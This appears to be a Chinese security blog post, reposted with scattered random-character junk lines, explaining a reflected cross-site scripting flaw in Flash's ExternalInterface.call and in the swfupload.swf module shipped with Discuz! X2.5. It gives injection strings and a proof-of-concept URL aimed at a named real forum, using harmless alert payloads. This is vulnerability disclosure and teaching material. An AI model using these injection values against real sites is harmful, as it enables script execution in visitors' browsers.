Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说

flash.external.ExternalInterface.call($methodName, $parameter)
在浏览器中执行的是
& j8 p+ X# f  Q7 s. M; A  |0 j- x+ l
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
# m9 P5 O7 F7 X- |3 t对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
5 |) G9 O# w0 v5 s5 R$ F0 j5 E5 U
" Q6 `. `" B, Z# J4 y( i. Zflash.external.ExternalInterface.call("object."+$methodName, $parameter)
' J1 w$ [- ~7 I7 Z- i! D$methodName = a())}catch(e){alert(/xss/)}//
8 A7 m4 b" h) n* o9 N. \& k5 X结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。
5 S, D, M% ~7 _/ C0 V' ]! Z: t, s
5 [  L: D' Q* `7 y& m! ?/ ctry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

/ U" J" _. o9 c0 B7 H这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
& T( \2 }* t" F( K* a& f+ Z杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。

  s2 i: G; ]0 E0 k5 p
; O& y9 _* o- X2 s0 O! B+ n
漏洞文件：upload\static\image\common\swfupload.swf
) D' o$ q! E8 R; C4 o; I# s
原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf

0 p# z' l7 F8 K0 H- z
& t( g# L1 M# P% `% J漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//


. D% I9 x; f. {, A! ?